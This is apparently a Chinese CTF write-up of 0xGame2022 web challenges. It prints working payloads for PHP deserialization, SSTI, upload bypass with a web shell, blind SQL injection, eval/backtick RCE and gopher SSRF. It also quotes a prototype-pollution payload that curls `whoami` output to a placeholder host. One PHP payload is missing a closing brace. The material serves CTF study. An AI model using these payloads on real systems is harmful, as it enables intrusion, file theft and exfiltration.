0xGame2022 Writeup
WEEK1
Where_U_from
进去之后提示
访问之后提示本地访问
抓包在头加个xff: 127.0.0.1,出现新提示
抓包看一下,加了个cookie
改成1出新提示
post发包拿到flag
Myrobots
直接访问目录下robots.txt,出提示
访问拿到flag
login
(访问不了做不了
WEEK2
do_u_like_pop
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
<?php
highlight_file(__FILE__);
class Apple{
public $var;
public function __wakeup(){
$this->var->value;
}
public function __invoke(){
echo $this->var;
}
}
class Banana{
public $source="pop.php";
public $str;
public function __toString(){
echo file_get_contents($this->source);
return 'do u like pop?';
}
public function __construct(){
$this->source = "flag in flag.php";
echo 123;
}
}
class Cherry{
public $p;
public $o;
public function __construct(){
$this->o = 'pop song';
}
public function __get($key){
($this->p)();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
|
一道php反序列化pop链题
观察源码没有过滤,并且提示我们flag in flag.php,因此最终目标是利用Banana类中__toString()
方法内file_get_contents()
方法执行php://filter/read=convert.base64-encode/resource=flag.php
。
__wakeup()
在Apple类因此入口在Apple,直接执行未包含属性value,因此联系到Cherry__get()
方法,其中将属性p作为函数执行,联系到Apple__invoke()
方法,其中直接输出属性var,因此最终关联到Banana类__toString
方法。
Payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
<?php
class Apple{
public $var;
}
class Banana{
public $source;
}
class Cherry{
public $p;
$a = new Apple();
$_a = new Apple();
$b = new Banana();
$c = new Cherry();
$a->var = $c;
$c->p = $_a;
$_a->var = $b;
$b->source = "php://filter/read=convert.base64-encode/resource=flag.php";
$d = serialize($a);
echo urlencode($d);
?>
|
i_want_4090ssti
看题目感觉应该是个模版注入题
抓包看一下用的是py(由于python部分还不太理解因此只能尝试着做
测试发现过滤双花括号以及class等关键词
花括号采用{%print %}
绕过,关键词用反写再反转形式绕过["__ssalc__"[::-1]]
查看所有类
1
|
{%print ''["__ssalc__"[::-1]]["__mro__"][1]["__sessalcbus__"[::-1]]()%}
|
直接读根目录flag文件拿到flag
payload:
1
|
{%print%20''["__ssalc__"[::-1]]["__base__"]["__sessalcbus__"[::-1]]()[75]["__init__"]["__globals__"]["__builtins__"]['nepo'[::-1]]('/flag').read()%}
|
upload_whatever
文件上传题,尝试了一些后缀,绕过ph、ini等,并且检测文件头
上传.htaccess文件,但有一个问题就是文件头的检测
查了一下可以通过hex编码绕过文件头检测
随便写六位,然后通过hex把编码改成00 00 8a 39 8a 39
绕过,成功上传.htaccess文件
然后上传一句话通过蚁剑连接,在根目录拿到flag
Ez_sql
sql题,尝试了半天注入点post的username,并且只告诉是否含有过滤词
提示时间盲注,测试时发现ascii和substr被过滤,查了一下可以利用ord检查获取字符ascii码,写了个脚本检索每一位
payload:
1
|
"1'^if(ord(mid({0},{1},1))\rlike\r'{2}',sleep(1),1)#"
|
最后爆出flag(中间爆出数据库,表名(secret)列名(ffflllaaag)没截图
WEEK3
think_about_php
开启靶场,感觉是thinkphp搭建的网站
目录扫描
将压缩包下载下来打开源码
了解一些thinkphp的代码逻辑,查看controller,发现两个页面,其中Page.php中有可利用的evil方法,其中接受参数f并eval执行,并且过滤输入的左右括号
直接通过URL访问(路由搞了半天
传入echo 123;
尝试
成功执行
由于过滤括号,因此联想到php执行运算符(反引号),直接执行语句并echo出来
直接cd到根目录发现flag文件,利用cat读取得到flag
payload:
1
|
?f=echo `cd ../../../../../;ls;cat flag`;
|
ssrf_me
开启靶场看到源码,curl ssrf题
提示访问evil.php文件,同时限制文件访问等操作
直接访问试一下
限制了本地访问,因此http一下,用0绕过ip限制,得到新代码
限制本地POST请求,并且接受参数c限制字母开头后接括号形式(好像是
查资料发现可以通过gopher编码构造请求url,由于二次请求所以要双编码,尝试输入c=phpinfo();(二次转码后
1
|
gopher%3A%2F%2F0%3A80%2F_POST%2520%2Fevil.php%2520HTTP%2F1.0%250D%250AHOST%3A%25200%3A80%250D%250AContent-Type%3Aapplication%2Fx-www-form-urlencoded%250D%250AContent-Length%3A12%250D%250A%250D%250Ac%3Dphpinfo();
|
成功
说明请求成功并符合正则,属于无参数rce
执行var_dump(get_defined_vars());(看一下信息
看到一个flag但他内容是not_flag,所以上别的地方找找
执行var_dump(scandir(current(localeconv())));(读取当前目录
发现目录中有一个flag_文件
show_source发现啥都没有
构造往上层目录走(浪费贼多时间,因为不清楚要转换当前目录,跟cd不同),走两层看到flag文件
无法指定读取到第四个,因此用array_flip(), array_rand()随机读取,读了几次读到flag文件拿到flag
最终Payload:
1
|
url=gopher%3A%2F%2F0%3A80%2F_POST%2520%2Fevil.php%2520HTTP%2F1.0%250D%250AHOST%3A%25200%3A80%250D%250AContent-Type%3Aapplication%2Fx-www-form-urlencoded%250D%250AContent-Length%3A145%250D%250A%250D%250Ac%3Dshow_source(array_rand(array_flip(scandir(dirname(chdir(next(scandir(dirname(chdir(next(scandir(dirname(chdir(dirname(getcwd())))))))))))))));
|
fake_session
打开还是上次ssti的页面,但提示不是rce了,并且题目是session,感觉跟session有关,但还是试一下ssti
试了一下他直接屏蔽一些命令执行,所以抓包看一下cookie
解码一下,给了一些信息,应该是flask 伪造session
访问/admin页面,提示无权限
找密钥,看一下{{config}}有没有,发现secret_key
上科技伪造session,令user: admin试一下
粘贴到session处发包试一下,没用,试了几个其他用户名形式,都没用,卡在这了
把id改成0,user改成admin过了,拿到flag
dont_pollute_me
打开直接下一个app.js,打开一看node源码,应该是原型链污染题
看了一下源码,存在merge函数,gotit路由使用merge为user添加输入属性,time路由利用for of遍历属性,并且命令形式执行属性值,for of可以遍历到一条链所有可遍历属性所以直接往原型注入即可
尝试注入命令,但time页面无回显
尝试一些命令外带失败
(未完成
别人WP:
无回显的解决办法:curl外带法
payload:
1
2
3
|
{
"__proto__": {"cmd2": "curl http://x.x.x.x:65222/ -X POST -d \"`whoami`\""}
}
|
WEEK4
profile
打开是node源码,看一下逻辑
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
|
const express = require("express");
const path = require("path");
const fs = require("fs");
const jwt = require("jsonwebtoken");
const cookieParser = require("cookie-parser");
const app = express();
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
const port = 3000;
const flag = process.env.FLAG || "flag{fake_flag}";
const jwtKey = Math.random().toString();
class UserStore {
constructor() {
this.users = {};
this.usernames = {};
}
insert(username, password) {
const uid = Math.random().toString();
this.users[uid] = {
username,
uid,
password,
profile: "个人简介",
restricted: true,
};
this.usernames[username] = uid;
return uid;
}
get(uid) {
return this.users[uid] ?? {};
}
lookup(username) {
return this.usernames[username];
}
remove(uid) {
const user = this.get(uid);
delete this.usernames[user.username];
delete this.users[uid];
}
}
const users = new UserStore();
app.use((req, res, next) => {
try {
res.locals.user = jwt.verify(req.cookies.token, jwtKey, {
algorithms: ["HS256"],
});
} catch (err) {
if (req.cookies.token) {
res.clearCookie("token");
}
}
next();
});
app.get("/", (req, res) => {
res.send(`<html>
<body>欢迎使用</body>
<!--/source-->
</html>`);
});
app.post("/register", (req, res) => {
if (
!req.body.username ||
!req.body.password ||
req.body.username.length > 32 ||
req.body.password.length > 32
) {
res.send("非法用户名/密码");
return;
}
if (users.lookup(req.body.username)) {
res.send("该用户名已被占用");
return;
}
const uid = users.insert(req.body.username, req.body.password);
res.cookie("token", jwt.sign({ uid }, jwtKey, { algorithm: "HS256" }));
res.send("注册成功");
});
app.post("/login", (req, res) => {
const user = users.get(users.lookup(req.body.username));
if (user && user.password === req.body.password) {
res.cookie("token", jwt.sign({ uid: user.uid }, jwtKey, { algorithm: "HS256" }));
} else {
res.send("用户名/密码错误");
}
});
app.post("/delete", (req, res) => {
if (res.locals.user) {
users.remove(res.locals.user.uid);
}
res.clearCookie("token");
res.send("已成功删除该用户");
});
app.get("/profile", (req, res) => {
if (!res.locals.user) {
res.status(401).send("请先登录");
return;
}
const user = users.get(res.locals.user.uid);
res.send(user.restricted ? user.profile : flag);
});
app.post("/profile", (req, res) => {
if (!res.locals.user) {
res.status(401).send("请先登录");
return;
}
if (!req.body.profile || req.body.profile.length > 2000) {
res.send("简介必须为1-2000个字内");
return;
}
users.get(res.locals.user.uid).profile = req.body.profile;
res.send("简介修改成功");
});
app.get("/source", (req, res) => {
res.sendFile("/app/app.js");
});
app.listen(port, () => {
console.log(`服务已启动`);
});
|
注册时候通过随机数构建uid,利用jwt校验用户,通过HS256生成加密token,构建用户信息时自动将restricted设置为true,flag在process.env中,在get /profile页面时检测restricted为false时会弹flag
测试admin用户存在
尝试伪造jwt,但是密钥和用户认证uid都是利用随机数生成,只能尝试特殊密钥uid,能想到的都失败了,所以感觉伪造jwt可能走不太通
profile页面存在一个xss注入点,但直接整没法利用
没有模版解析就原生express
(卡住了
别人wp:
利用delete删除用户后再用被删除的token访问页面,此时restricted为undefined,在js判断中等同于false,就可以直接绕过读取flag